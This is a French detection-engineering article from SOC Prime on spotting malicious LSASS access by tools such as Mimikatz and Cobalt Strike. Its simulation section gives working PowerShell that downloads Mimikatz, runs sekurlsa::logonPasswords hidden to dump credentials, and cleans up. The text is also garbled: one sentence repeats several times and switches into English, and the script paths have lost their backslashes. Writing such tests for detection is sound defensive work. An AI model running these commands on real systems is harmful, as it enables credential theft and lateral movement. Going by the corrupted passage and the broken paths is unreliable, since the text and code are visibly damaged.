SOC Prime Bias: Moyen

11 Déc 2025 17:46

Recherche d’accès malveillant à LSASS dans les environnements Windows

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Recherche d’accès malveillant à LSASS dans les environnements Windows
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’article décrit comment les adversaires extraient des identifiants en accédant au processus LSASS avec des outils comme Mimikatz et Cobalt Strike. Il couvre les appels typiques de l’API Windows, les DLL et les droits d’accès impliqués dans le vidage de la mémoire LSASS. Les auteurs partagent des requêtes de détection actualisées pour Sysmon et d’autres plateformes EDR, en mettant l’accent sur le renforcement de la couverture de détection des vidages d’identifiants.

Investigation

L’équipe de recherche sur les menaces de Splunk a émule l’accès à LSASS en utilisant Atomic Red Team, Mimikatz, Invoke-Mimikatz et Cobalt Strike. Ils ont capturé la télémétrie Sysmon montrant les chargements de DLL (dbgcore.dll, dbghelp.dll, ntdll.dll) et les valeurs caractéristiques GrantedAccess. Cet ensemble de données a ensuite été utilisé pour affiner les requêtes de détection qui corrèlent les informations CallTrace avec des droits d’accès spécifiques.

Atténuation

Ajustez les politiques Sysmon ou EDR pour journaliser les événements ProcessAccess contre lsass.exe, en appliquant des filtres sur les DLL connues et les droits d’accès pertinents tout en mettant sur liste blanche les processus système approuvés. Utilisez les requêtes fournies pour générer des alertes sur les modèles d’accès LSASS suspects. Examinez et affinez continuellement ces règles à mesure que de nouveaux outils et techniques émergent.

Réponse

Lorsqu’une détection est déclenchée, validez le processus d’origine, le contexte utilisateur associé et les DLL impliquées dans l’accès à LSASS. Isolez le point de terminaison affecté, capturez la mémoire pour une analyse forensic plus approfondie et évaluez les preuves de vol d’identifiants. Examinez l’arborescence des processus pour distinguer les utilitaires administratifs légitimes des activités indicatives d’un attaquant.

Flux d’attaque

Nous sommes encore en train de mettre à jour cette partie. Inscrivez-vous pour être notifié

Notifiez-moi

Exécution de simulation

Prérequis : La vérification préalable de la télémétrie et de la base de référence doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Récit et commandes d’attaque :
    Un attaquant a obtenu des droits d’administrateur local sur l’hôte de la victime et souhaite collecter des identifiants pour un mouvement latéral. Ils copient l’outil open-source Mimikatz sur la machine, élèvent le processus au privilège DEBUG et invoquent le module sekurlsa::logonPasswords, qui lit la mémoire LSASS via des appels API natifs traversant ntdll.dll. Sysmon enregistre cela comme un événement ProcessAccess avec plusieurs drapeaux GrantedAccess hautement privilégiés (par exemple, GrantedAccess). L’attaquant exécute l’outil depuis une session Powershell cachée pour éviter l’exposition UI.). L'attaquant exécute l'outil depuis une session Powershell cachée pour éviter l'exposition UI.). L'attaquant exécute l'outil depuis une session Powershell cachée pour éviter l'exposition UI.). L'attaquant exécute l'outil depuis une session Powershell cachée pour éviter l'exposition UI.). The attacker runs the tool from a hidden PowerShell session to avoid UI exposure.

    # 1. Déposer le binaire Mimikatz dans %TEMP%
    $mkPath = "$env:TEMPmimikatz.exe"
    Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip"
    Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force
    Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
    
    # 2. Exécuter Mimikatz avec des commandes de vidage d'identifiants
    Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait
  • Script de test de régression :

    # ----------------------------------------------------------------------
    # Simulation de vidage d'identifiants LSASS – déclenche la règle Sigma #4e0789a0…
    # ----------------------------------------------------------------------
    # Déposer Mimikatz (si pas déjà présent)
    $mkPath = "$env:TEMPmimikatz.exe"
    if (-Not (Test-Path $mkPath)) {
        $zip = "$env:TEMPmk.zip"
        Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip
        Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
        Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
        Remove-Item $zip -Force
    }
    
    # Exécuter Mimikatz pour vider les identifiants LSASS
    $args = 'privilege::debug sekurlsa::logonPasswords exit'
    Write-Host "[+] Exécution de Mimikatz pour le vidage de LSASS..."
    Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait
    Write-Host "[+] Exécution de Mimikatz terminée."
    # ----------------------------------------------------------------------
  • Commandes de nettoyage :

    # Supprimer le binaire Mimikatz et tous les fichiers résiduels
    $mkPath = "$env:TEMPmimikatz.exe"
    if (Test-Path $mkPath) { Remove-Item $mkPath -Force }
    $folder = "$env:TEMPmimikatz"
    if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
    Write-Host "Nettoyage terminé."